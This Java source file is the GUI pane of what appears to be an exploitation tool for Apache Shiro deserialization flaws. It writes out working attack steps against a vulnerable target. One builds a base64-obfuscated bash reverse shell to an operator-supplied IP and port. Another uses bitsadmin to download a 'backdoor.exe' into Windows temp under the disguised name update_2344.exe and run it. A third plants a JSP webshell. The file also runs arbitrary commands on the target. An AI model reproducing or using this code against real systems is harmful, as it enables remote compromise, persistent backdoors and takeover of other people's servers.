package com.shiroexploit.gui;

import com.shiroexploit.util.Config;
import com.shiroexploit.util.ExploitFailedException;
import com.shiroexploit.util.Tools;
import com.shiroexploit.vulnverifier.Verifier;
import com.shiroexploit.vulnverifier.VerifierFactory;
import javafx.application.Platform;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.scene.layout.*;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.List;

public class MainPane {
    private TextField cmd = new TextField();
    private TextField ipText = new TextField();
    private TextField portText = new TextField();
    private TextField urlText = new TextField();
    private TextField filePathText = new TextField();
    private TextArea textArea = new TextArea();
    private Button execute = new Button();
    private Button downloadAndExecute = new Button();
    private Button getWebshell = new Button();
    private Button getReverseShell = new Button();
    private CheckBox useLinuxReverseShell = new CheckBox("反弹Shell");
    private CheckBox useWindowsReverseShell = new CheckBox("反弹Shell");
    private CheckBox useWebShell = new CheckBox("获取Webshell");
    private BorderPane borderPane = new BorderPane();
    private PrintStream printStream;
    private Verifier verifier;
    private Label commandLabel = new Label("命令");

    public MainPane(){
        drawPane();
        addListeners();
        //如此一来，简单太多了，原来的代码也不需要修改
        //参考 https://blog.csdn.net/qq_41886200/article/details/93711993
        printStream = new PrintStream(new Console(textArea));
        System.setOut(printStream);
        System.setErr(printStream);
        verifier = VerifierFactory.getInstance().getVerifier();
    }

    public Pane getPane() {
        return borderPane;
    }

    private void addListeners(){
        execute.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String command = cmd.getText().trim();
                if(command == null || command.equals("")){
                    PromptMessageUI.getAlert("输入错误","请输入一条有效的命令");
                    return;
                }

                commandLabel.setDisable(true);
                cmd.setDisable(true);
                execute.setDisable(true);
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        String result = verifier.executeCmd(command);
                        if(result != null){
                            System.out.println(result);
                        }
                        commandLabel.setDisable(false);
                        cmd.setDisable(false);
                        execute.setDisable(false);
                        cmd.clear();
                        Platform.runLater(new Runnable() {
                            @Override
                            public void run() {
                                cmd.requestFocus();
                            }
                        });
                    }
                }).start();
            }
        });

        cmd.setOnKeyPressed(new EventHandler<KeyEvent>() {
            @Override
            public void handle(KeyEvent event) {
                //按Enter键时，具有和点击“执行”按钮同样的效果
                if(event.getCode() == KeyCode.ENTER){
                    execute.fire();
                }
            }
        });

        useLinuxReverseShell.selectedProperty().addListener(new ChangeListener<Boolean>() {
            @Override
            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
                if(useLinuxReverseShell.isSelected()){
                    useWindowsReverseShell.setDisable(true);
                    commandLabel.setDisable(true);
                    cmd.setDisable(true);
                    execute.setDisable(true);
                    ipText.setDisable(false);;
                    portText.setDisable(false);
                    getReverseShell.setDisable(false);
                }else{
                    useWindowsReverseShell.setDisable(false);
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);
                    ipText.setDisable(true);
                    portText.setDisable(true);
                    getReverseShell.setDisable(true);
                }
            }
        });

        useWindowsReverseShell.selectedProperty().addListener(new ChangeListener<Boolean>() {
            @Override
            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
                if(useWindowsReverseShell.isSelected()){
                    useLinuxReverseShell.setDisable(true);
                    commandLabel.setDisable(true);
                    cmd.setDisable(true);
                    execute.setDisable(true);
                    urlText.setDisable(false);;
                    downloadAndExecute.setDisable(false);
                }else{
                    useLinuxReverseShell.setDisable(false);
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);
                    urlText.setDisable(true);
                    downloadAndExecute.setDisable(true);
                }
            }
        });

        useWebShell.selectedProperty().addListener(new ChangeListener<Boolean>() {
            @Override
            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
                if(useWebShell.isSelected()){
                    commandLabel.setDisable(true);
                    cmd.setDisable(true);
                    execute.setDisable(true);
                    filePathText.setDisable(false);;
                    getWebshell.setDisable(false);
                }else{
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);
                    filePathText.setDisable(true);
                    getWebshell.setDisable(true);
                }
            }
        });

        getReverseShell.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String ip = ipText.getText().trim();
                String port = portText.getText().trim();

                if(!checkIp(ip)){
                    PromptMessageUI.getAlert("输入错误","请输入一个有效的IP地址！");
                    return;
                }

                if(!checkPort(port)){
                    PromptMessageUI.getAlert("输入错误","请输入一个有效的端口！");
                    return;
                }

                ipText.setDisable(true);
                portText.setDisable(true);
                getReverseShell.setDisable(true);
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        String command = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
                        Base64.Encoder encoder = Base64.getEncoder();
                        command = encoder.encodeToString(command.getBytes());
                        command = "bash -c {echo," + command + "}|{base64,-d}|{bash,-i}";

                        verifier.executeCmd(command);

                        ipText.setDisable(false);
                        portText.setDisable(false);
                        getReverseShell.setDisable(false);

                    }
                }).start();
            }
        });

        downloadAndExecute.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String url = urlText.getText().trim();
                if(url == null || url.equals("")){
                    PromptMessageUI.getAlert("输入错误","下载链接不能为空!");
                    return;
                }

                urlText.setDisable(true);
                downloadAndExecute.setDisable(true);
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        String command = "bitsadmin /rawreturn /transfer getfile " + url + " c:\\windows\\temp\\update_2344.exe";
                        verifier.executeCmd(command);

                        command = "c:\\windows\\temp\\update_2344.exe";
                        verifier.executeCmd(command);

                        urlText.setDisable(false);
                        downloadAndExecute.setDisable(false);

                    }
                }).start();
            }
        });

        getWebshell.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String url = filePathText.getText().trim();
                if(url == null || url.equals("")){
                    PromptMessageUI.getAlert("输入错误","Webshell目标地址不能为空!");
                    return;
                }

                try {
                    URL u = new URL(url);
                } catch (MalformedURLException e) {
                    PromptMessageUI.getAlert("输入错误","Webshell目标地址不是一个有效的 URL!");
                    return;
                }

                int index1 = url.lastIndexOf("/");
                int index2 = url.lastIndexOf("\\");
                int index = index1 > index2 ? index1 : index2;
                String targetName = "";
                if(index + 1 >= url.length()){
                    targetName = "";
                }else{
                    targetName = url.substring(index + 1);
                }


                filePathText.setDisable(true);
                getWebshell.setDisable(true);

                String finalUrl = url;
                String finalTargetName = targetName;
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        List<String> paths = Tools.getPaths(finalUrl, true, "jsp");
                        URL u = null;
                        try {
                            u = new URL(finalUrl);
                        } catch (MalformedURLException e) {
                            e.printStackTrace();
                        }


                        for(String p : paths){
                            if(!finalTargetName.trim().equals("")){
                                if(p.indexOf("/") > 0){
                                    p = p.substring(0, p.lastIndexOf("/")) + "/" + finalTargetName;
                                }else{
                                    p = finalTargetName;
                                }
                            }
                            String command = "directive:shell:" + p ;
                            verifier.executeCmd(command);


                        }

                        System.out.println("[+] Your webshell path: "  + finalUrl);


                        filePathText.setDisable(false);
                        getWebshell.setDisable(false);
                    }
                }).start();
            }
        });

        //当textarea获得焦点时，清除其中的文字
        //参考http://www.it1352.com/960364.html
//        cmd.focusedProperty().addListener(new ChangeListener<Boolean>() {
//            @Override
//            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
//                if(newValue){
//                    cmd.clear();
//                }
//            }
//        });
    }

    private boolean checkPort(String port) {
        try{
            int p = Integer.parseInt(port);
            if(p > 0 && p < 65535){
                return true;
            }

            return false;
        }catch(NumberFormatException e){
            return false;
        }

    }

    private boolean checkIp(String ip) {
        try{
            String[] parts = ip.split("\\.");
            if(parts.length != 4) return false;

            for(String part : parts){
                int p = Integer.parseInt(part);
                if(p < 0 || p > 255){
                    return false;
                }
            }

            return true;
        }catch(Exception e){
            return false;
        }
    }

    private void drawPane(){
        BorderPane top = new BorderPane();
        top.setPadding(new Insets(10,10,10,10));

        commandLabel.setPrefHeight(35);
        commandLabel.setDisable(true);
        top.setMargin(commandLabel, new Insets(0,10,0,0));
        cmd.setPrefHeight(35);
        cmd.setDisable(true);
        top.setLeft(commandLabel);
        top.setCenter(cmd);

        execute.setText("执行");
        execute.setDisable(true);
        top.setMargin(execute, new Insets(0,0,0,10));
        top.setRight(execute);

        GridPane gridPane = new GridPane();
        gridPane.setAlignment(Pos.CENTER);
        gridPane.setHgap(10);
        gridPane.setVgap(20);
        gridPane.setPadding(new Insets(10,0,10,0));

        if(Config.getInstance().getCheckMethod() == 3){
            addWebShell(gridPane);
        }else if(Config.getInstance().getVulType() == 0){
            addLinuxReverseShell(gridPane);
            addWindowsReverseShell(gridPane, true);
        }else{
            if(Config.getInstance().getPlatform() == 0){
                addLinuxReverseShell(gridPane);
            }else{
                addWindowsReverseShell(gridPane, false);
            }
        }


        VBox vBox = new VBox();
        vBox.getChildren().addAll(top, gridPane);

        textArea.setEditable(false);
        textArea.setWrapText(true);

        borderPane.setPadding(new Insets(10,10,10,10));
        borderPane.setTop(vBox);
        borderPane.setCenter(textArea);
        borderPane.setMargin(textArea, new Insets(10,10,10,10));
    }

    private void addWebShell(GridPane gridPane){
        useWebShell.setSelected(false);
        useWebShell.setDisable(true);
        GridPane.setColumnSpan(useWebShell, 2);
        gridPane.add(useWebShell, 0,0);

        filePathText.setDisable(true);
        filePathText.setPromptText("WebShell目标地址，如 http://www.xxx.com/aaa/myshell.jsp");
        filePathText.setPrefWidth(500);
        GridPane.setColumnSpan(filePathText, 4);
        gridPane.add(filePathText, 2,0);

        getWebshell.setText("执行");
        getWebshell.setDisable(true);
        GridPane.setColumnSpan(getWebshell, 2);
        gridPane.add(getWebshell, 6,0);
    }

    private void addWindowsReverseShell(GridPane gridPane, boolean flag){
        useWindowsReverseShell.setSelected(false);
        useWindowsReverseShell.setDisable(true);
        GridPane.setColumnSpan(useWindowsReverseShell, 2);
        gridPane.add(useWindowsReverseShell, 0,0 + (flag ? 1 : 0));

        urlText.setDisable(true);
        urlText.setPromptText("http://www.mydomain.com/backdoor.exe");
        urlText.setPrefWidth(400);
        GridPane.setColumnSpan(urlText, 4);
        gridPane.add(urlText, 2,0 + (flag ? 1 : 0));

        downloadAndExecute.setText("下载并执行");
        downloadAndExecute.setDisable(true);
        GridPane.setColumnSpan(downloadAndExecute, 2);
        gridPane.add(downloadAndExecute, 6,0 + (flag ? 1 : 0));
    }

    private void addLinuxReverseShell(GridPane gridPane){
        useLinuxReverseShell.setSelected(false);
        useLinuxReverseShell.setDisable(true);
        GridPane.setColumnSpan(useLinuxReverseShell, 2);
        gridPane.add(useLinuxReverseShell, 0,0);

        ipText.setDisable(true);
        ipText.setPromptText("IP地址");
        GridPane.setColumnSpan(ipText, 3);
        gridPane.add(ipText, 2,0);

        portText.setDisable(true);
        portText.setPromptText("端口");
        gridPane.add(portText, 5,0);

        getReverseShell.setText("执行");
        getReverseShell.setDisable(true);
        GridPane.setColumnSpan(getReverseShell, 2);
        gridPane.add(getReverseShell, 6,0);
    }

    public void startRuning(){

        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    verifier.getValidGadget();
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);
                    useLinuxReverseShell.setDisable(false);
                    useWindowsReverseShell.setDisable(false);
                    useWebShell.setDisable(false);
                } catch (ExploitFailedException e) {
                    System.out.println(e.getMessage());
                    System.out.println("[!] Target is not vulnerable or can not exploit");
                    Platform.runLater(new Runnable() {
                        @Override
                        public void run() {
                            PromptMessageUI.getAlert("检测失败","目标应用不存在相应漏洞或者无法找到可利用的反序列化Gadget!");
                        }
                    });
                }
            }
        });
        thread.start();
    }
}
